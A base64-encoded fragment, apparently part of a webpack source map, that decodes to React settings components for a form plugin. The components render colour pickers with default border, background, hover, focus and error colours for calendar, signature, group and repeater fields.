ZXI+XG5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnU2VsZWN0JyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cInNlbGVjdFwiXG5cdFx0XHRcdD5cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ2ZsYXQnICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXIgeyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXInICkgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jYWxlbmRhci1zZWxlY3QtYm9yZGVyYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0JCQkJCQlwiKSB9YH1cblx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyIHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQnICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItc2VsZWN0LWJnYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGRkZGRkZcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXIgeyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQ29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2FsZW5kYXItc2VsZWN0LWNvbG9yYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM3Nzc3NzFcIikgfWB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdDwvVGFicz5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvY29sb3JzL2NhbGVuZGFyLWJhc2ljcy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcbmltcG9ydCBUYWJzIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvdGFicyc7XG5pbXBvcnQgQ29udGFpbmVyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvY29udGFpbmVyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgU2lnbmF0dXJlIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8VGFic1xuXHRcdFx0XHRkZWZhdWx0PVwiZGVmYXVsdFwiXG5cdFx0XHRcdHR5cGU9XCJ0YWJzXCJcblx0XHRcdFx0ZXh0cmFDbGFzcz1cInN1aS10YWJzLWZsdXNoZWRcIlxuXHRcdFx0PlxuXG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHR2YWx1ZT1cImRlZmF1bHRcIlxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVmYXVsdCcgKSB9XG5cdFx0XHRcdD5cblxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXNpZ25hdHVyZS1ib3JkZXItZGVmYXVsdGB9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM3Nzc3NzFcIikgfWB9XG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnbWF0ZXJpYWwnICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9c2lnbmF0dXJlLWJhY2tncm91bmQtZGVmYXVsdGB9XG5cdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFREVERURcIikgfWB9XG5cdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUGxhY2Vob2xkZXInICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9c2lnbmF0dXJlLXBsYWNlaG9sZGVyYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM4ODg4ODhcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlciB7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdTaWduYXR1cmUgQ29sb3InICkgfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9c2lnbmF0dXJlLWNvbG9yYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMwMDAwMDBcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUmVzZXQgaWNvbiBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1zaWduYXR1cmUtcmVzZXQtaWNvbi1kZWZhdWx0YH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM4ODg4ODhcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0dmFsdWU9XCJob3ZlclwiXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdIb3ZlcicgKSB9XG5cdFx0XHRcdD5cblxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnZmxhdCcgJiZcblx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXNpZ25hdHVyZS1ib3JkZXItaG92ZXJgfVxuXHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMTdBOEUzXCIpIH1gfVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXNpZ25hdHVyZS1iYWNrZ3JvdW5kLWhvdmVyYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0U2RTZFNlwiKSB9YH1cblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdSZXNldCBpY29uIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXNpZ25hdHVyZS1yZXNldC1pY29uLWhvdmVyYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMxN0E4RTNcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0dmFsdWU9XCJlcnJvclwiXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdFcnJvcicgKSB9XG5cdFx0XHRcdD5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQm9yZGVyIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXNpZ25hdHVyZS1ib3JkZXItZXJyb3JgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0UwNDU2MlwiKSB9YH1cblx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHQ8L1RhYnM+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2NvbG9ycy9zaWduYXR1cmUuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlLCBnZXRUaGVtZVByZWZpeCwgZ2V0RGVmYXVsdFZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMnO1xuXG5pbXBvcnQgQ29sb3JQaWNrZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2NvbG9yLXBpY2tlcic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIEdyb3VwQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwicmdiYSgyNDgsMjQ4LDI0OCwuNSlcIikgfWB9XG5cdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Z3JvdXAtYmFja2dyb3VuZGB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kIGNvbG9yJyApIH1cblx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdC8+XG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwicmdiYSgyMjEsMjIxLDIyMSwuNSlcIikgfWB9XG5cdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Z3JvdXAtYm9yZGVyYH1cblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHQvPlxuXHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcInJnYmEoMTcwLDE3MCwxNzAsLjUpXCIpIH1gfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWdyb3VwLWRpdmlkZXJgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGl2aWRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHQvPlxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvY29sb3JzL2dyb3VwLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSwgZ2V0VGhlbWVQcmVmaXgsIGdldERlZmF1bHRWYWx1ZSB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IENvbG9yUGlja2VyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9jb2xvci1waWNrZXInO1xuaW1wb3J0IFRhYnMgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy90YWJzJztcbmltcG9ydCBDb250YWluZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy9jb250YWluZXInO1xuaW1wb3J0IEFjY29yZGlvbiBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2FjY29yZGlvbic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFJlcGVhdGVyQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cblx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveFwiPlxuXG5cdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQnV0dG9uJyApIH1cblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxUYWJzXG5cdFx0XHRcdFx0XHRkZWZhdWx0PVwiZGVmYXVsdFwiXG5cdFx0XHRcdFx0XHRleHRyYUNsYXNzPVwic3VpLXRhYnMtZmx1c2hlZFwiXG5cdFx0XHRcdFx0XHR0eXBlPVwidGFic1wiXG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdFx0XHR2YWx1ZT1cImRlZmF1bHRcIlxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0RlZmF1bHQnICkgfVxuXHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmVwZWF0ZXItYnV0dG9uLWJhY2tncm91bmRgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGOEY4RjhcIikgfWB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cblx0XHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RleHQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlcGVhdGVyLWJ1dHRvbmB9XG5cdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzY2NjY2NlwiKSB9YH1cblx0XHRcdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQm9yZGVyIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yZXBlYXRlci1ib3JkZXJgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNBQUFBQUFcIikgfWB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHQ8L0NvbnRhaW5lcj5cblxuXHRcdFx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdFx0XHR2YWx1ZT1cImhvdmVyXCJcblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdIb3ZlcicgKSB9XG5cdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yZXBlYXRlci1idXR0b24tYmFja2dyb3VuZC1ob3ZlcmB9XG5cdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0YxRjFGMVwiKSB9YH1cblx0XHRcdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmVwZWF0ZXItYnV0dG9uLWhvdmVyYH1cblx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNjY2NjY2XCIpIH1gfVxuXHRcdFx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXIgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlcGVhdGVyLWJvcmRlci1ob3ZlcmB9XG5cdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0FBQUFBQVwiKSB9YH1cblx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0XHRcdHZhbHVlPVwiZm9jdXNcIlxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ZvY3VzJyApIH1cblx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlcGVhdGVyLWJ1dHRvbi1iYWNrZ3JvdW5kLWZvY3VzYH1cblx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRjFGMUYxXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdUZXh0IGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yZXBlYXRlci1idXR0b24tZm9jdXNgfVxuXHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM2NjY2NjZcIikgfWB9XG5cdFx0XHRcdFx0XHRcdC8+XG5cblx0XHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmVwZWF0ZXItYm9yZGVyLWZvY3VzYH1cblx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjQUFBQUFBXCIpIH1gfVxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0PC9Db250YWluZXI+XG5cdFx0XHRcdFx0PC9UYWJzPlxuXHRcdFx0XHQ8L0FjY29yZGlvbj5cblxuXHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24nICkgfVxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0PFRhYnNcblx0XHRcdFx0XHRcdGRlZmF1bHQ9XCJkZWZhdWx0XCJcblx0XHRcdFx0XHRcdGV4dHJhQ2xhc3M9XCJzdWktdGFicy1mbHVzaGVkXCJcblx0XHRcdFx0XHRcdHR5cGU9XCJ0YWJzXCJcblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0XHRcdHZhbHVlPVwiZGVmYXVsdFwiXG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVmYXVsdCcgKSB9XG5cdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdDb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmVwZWF0ZXItaWNvbmB9XG5cdFx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzg4ODg4OFwiKSB9YH1cblx0XHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0XHRcdHZhbHVlPVwiaG92ZXJcIlxuXHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0hvdmVyJyApIH1cblx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0NvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yZXBlYXRlci1pY29uLWhvdmVyYH1cblx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjODg4ODg4XCIpIH1gfVxuXHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRcdFx0dmFsdWU9XCJmb2N1c1wiXG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRm9jdXMnICkgfVxuXHRcdFx0XHR